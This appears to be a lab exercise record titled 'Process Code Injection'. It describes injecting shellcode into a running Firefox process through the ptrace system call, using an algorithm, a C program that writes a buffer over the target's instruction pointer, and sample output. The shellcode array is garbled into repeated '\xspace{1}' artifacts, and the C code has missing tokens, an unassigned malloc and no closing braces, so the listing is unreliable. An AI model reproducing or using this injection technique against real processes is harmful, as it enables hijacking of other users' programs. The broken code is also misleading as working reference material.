EXP NO:8 DATE:

PROCESS CODE INJECTION

Aim: To do process code injection on Firefox using ptrace system call

Algorithm:

- Step 1: Find out the PID of the running Firefox program.
- Step 2: Create the code injection file.
- Step 3: Get the PID of Firefox from the command line arguments.
- Step 4: Allocate memory buffers for the shellcode.
- Step 5: Attach to the victim process with PTRACE ATTACH.
- Step 6: Get the register values of the attached process.
- Step 7: Use PTRACE POKETEXT to insert the shellcode.
- Step 8: Detach from the victim process using PTRACE_DETACH.

Program:

```
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <sys/wait.h>
# include <sys/ptrace.h>
# include <sys/user.h>
char shellcode[] = {
             \xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xspace{1}\xsp
             };
void header() {
             printf("----Memory bytecode injector\n");
}
int main(int argc, char** argv) {
int i, size, pid = 0; struct
user regs struct reg;
                                                                                                                            char* buff;
```

```
header(); pid = atoi(argv[1]);
size = sizeof(shellcode);
(char*)malloc(size);
memset(buff, 0x0, size);
  memcpy(buff, shellcode, sizeof(shellcode));
  ptrace(PTRACE_ATTACH, pid, 0, 0);
  wait((int*)0);
  ptrace(PTRACE GETREGS, pid, 0, &reg);
  printf("Writing EIP 0x%x, process %d\n", reg.eip, pid);
  for (i = 0; i < size; i++) {
    ptrace(PTRACE_POKETEXT, pid, reg.eip + i, *(int*)(buff + i));
  ptrace(PTRACE_DETACH, pid, 0, 0);
  free(buff); return
0;
Output:
----Memory bytecode injector
Writing EIP 0x12345678, process 12345
```

Result: